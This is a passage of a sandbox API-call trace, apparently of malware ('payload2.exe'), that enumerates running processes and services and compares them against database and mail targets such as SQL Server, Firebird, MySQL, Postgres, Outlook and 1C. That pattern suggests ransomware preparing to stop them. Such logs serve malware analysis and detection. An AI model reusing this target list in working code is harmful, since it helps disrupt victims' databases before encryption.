szExeFile="svchost.exe")) returned 1 [0273.834] lstrlenW (lpString="svchost.exe") returned 11 [0273.834] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.834] lstrlenW (lpString="svchost.exe") returned 11 [0273.834] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0273.834] lstrlenW (lpString="userinit.exe") returned 12 [0273.834] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0273.834] lstrlenW (lpString="dwm.exe") returned 7 [0273.834] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0273.835] lstrlenW (lpString="explorer.exe") returned 12 [0273.835] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0273.835] lstrlenW (lpString="spoolsv.exe") returned 11 [0273.835] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0273.835] lstrlenW (lpString="taskhost.exe") returned 12 [0273.835] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.835] lstrlenW (lpString="svchost.exe") returned 11 [0273.836] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0273.836] lstrlenW (lpString="payload2.exe") returned 12 [0273.836] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0273.836] lstrlenW (lpString="reader_sl.exe") returned 13 [0273.836] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0273.836] lstrlenW (lpString="dllhost.exe") returned 11 [0273.836] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0273.837] CloseHandle (hObject=0x39c) returned 1 [0273.837] Sleep (dwMilliseconds=0x1f4) [0274.357] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280aa0 [0274.479] EnumServicesStatusExW (in: hSCManager=0x4280aa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 0 [0274.483] GetLastError () returned 0xea [0274.483] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc9a) returned 0x4236140 [0274.483] EnumServicesStatusExW (in: hSCManager=0x4280aa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4236140, cbBufSize=0xc9a, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4236140, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 1 [0274.484] CloseServiceHandle (hSCObject=0x4280aa0) returned 1 [0274.484] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0274.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0274.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0274.484] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0274.484] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0274.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0274.484] lstrlenW (lpString="AudioSrv") returned 8 [0274.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0274.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0274.484] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0274.484] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0274.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0274.484] lstrlenW (lpString="BFE") returned 3 [0274.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0274.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0274.485] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0274.485] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0274.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0274.485] lstrlenW (lpString="CryptSvc") returned 8 [0274.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0274.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0274.485] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0274.485] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0274.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0274.485] lstrlenW (lpString="CscService") returned 10 [0274.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0274.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0274.485] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0274.485] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0274.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0274.485] lstrlenW (lpString="DcomLaunch") returned 10 [0274.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0274.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0274.485] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0274.485] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0274.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0274.485] lstrlenW (lpString="Dhcp") returned 4 [0274.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0274.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0274.485] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0274.485] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0274.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0274.485] lstrlenW (lpString="Dnscache") returned 8 [0274.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0274.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0274.485] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0274.486] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0274.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0274.486] lstrlenW (lpString="DPS") returned 3 [0274.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0274.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0274.486] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0274.486] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0274.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0274.486] lstrlenW (lpString="eventlog") returned 8 [0274.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0274.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0274.486] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0274.486] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0274.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0274.486] lstrlenW (lpString="EventSystem") returned 11 [0274.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0274.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0274.486] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0274.486] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0274.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0274.486] lstrlenW (lpString="gpsvc") returned 5 [0274.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0274.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0274.486] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0274.486] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0274.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0274.486] lstrlenW (lpString="LanmanWorkstation") returned 17 [0274.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0274.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0274.487] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0274.487] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0274.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0274.487] lstrlenW (lpString="lmhosts") returned 7 [0274.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0274.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0274.487] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0274.487] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0274.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0274.487] lstrlenW (lpString="MMCSS") returned 5 [0274.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0274.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0274.487] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0274.487] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0274.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0274.487] lstrlenW (lpString="MpsSvc") returned 6 [0274.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0274.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0274.487] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0274.487] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0274.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0274.487] lstrlenW (lpString="NlaSvc") returned 6 [0274.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0274.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0274.487] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0274.487] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0274.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0274.487] lstrlenW (lpString="nsi") returned 3 [0274.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0274.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0274.487] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0274.487] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0274.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0274.488] lstrlenW (lpString="PcaSvc") returned 6 [0274.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0274.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0274.488] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0274.488] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0274.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0274.488] lstrlenW (lpString="PlugPlay") returned 8 [0274.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0274.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0274.488] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0274.488] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0274.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0274.488] lstrlenW (lpString="Power") returned 5 [0274.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0274.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0274.488] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0274.488] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0274.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0274.488] lstrlenW (lpString="ProfSvc") returned 7 [0274.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0274.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0274.488] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0274.488] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0274.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0274.488] lstrlenW (lpString="RpcEptMapper") returned 12 [0274.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0274.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0274.488] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0274.488] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0274.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0274.488] lstrlenW (lpString="RpcSs") returned 5 [0274.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0274.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0274.489] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0274.489] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0274.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0274.489] lstrlenW (lpString="SamSs") returned 5 [0274.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0274.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0274.489] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0274.489] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0274.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0274.489] lstrlenW (lpString="Schedule") returned 8 [0274.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0274.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0274.489] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0274.489] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0274.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0274.489] lstrlenW (lpString="SENS") returned 4 [0274.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0274.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0274.489] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0274.489] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0274.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0274.489] lstrlenW (lpString="ShellHWDetection") returned 16 [0274.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0274.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0274.489] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0274.489] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0274.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0274.489] lstrlenW (lpString="Spooler") returned 7 [0274.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0274.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0274.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0274.490] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0274.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0274.490] lstrlenW (lpString="Themes") returned 6 [0274.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0274.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0274.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0274.490] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0274.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0274.490] lstrlenW (lpString="UxSms") returned 5 [0274.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0274.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0274.490] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0274.490] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0274.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0274.490] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x4236140 | out: hHeap=0x2a0000) returned 1 [0274.490] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a0 [0274.491] Process32FirstW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.492] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0274.492] lstrlenW (lpString="System") returned 6 [0274.492] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0274.492] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0274.492] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0274.492] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0274.492] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0274.492] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0274.492] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0274.492] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0274.492] lstrlenW (lpString="smss.exe") returned 8 [0274.492] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0274.492] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0274.492] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0274.492] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0274.492] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0274.492] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0274.492] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0274.492] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.493] lstrlenW (lpString="csrss.exe") returned 9 [0274.493] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0274.493] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0274.493] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0274.493] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0274.493] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0274.493] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0274.493] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0274.493] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0274.493] lstrlenW (lpString="wininit.exe") returned 11 [0274.494] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0274.494] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0274.494] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0274.494] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0274.494] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0274.494] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0274.494] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0274.494] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.494] lstrlenW (lpString="csrss.exe") returned 9 [0274.494] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0274.494] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0274.494] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0274.494] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0274.494] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0274.494] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0274.494] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0274.494] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0274.494] lstrlenW (lpString="winlogon.exe") returned 12 [0274.494] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0274.494] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0274.494] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0274.495] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0274.495] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0274.495] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0274.495] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0274.495] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0274.495] lstrlenW (lpString="services.exe") returned 12 [0274.495] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0274.495] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0274.495] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0274.495] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0274.495] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0274.495] 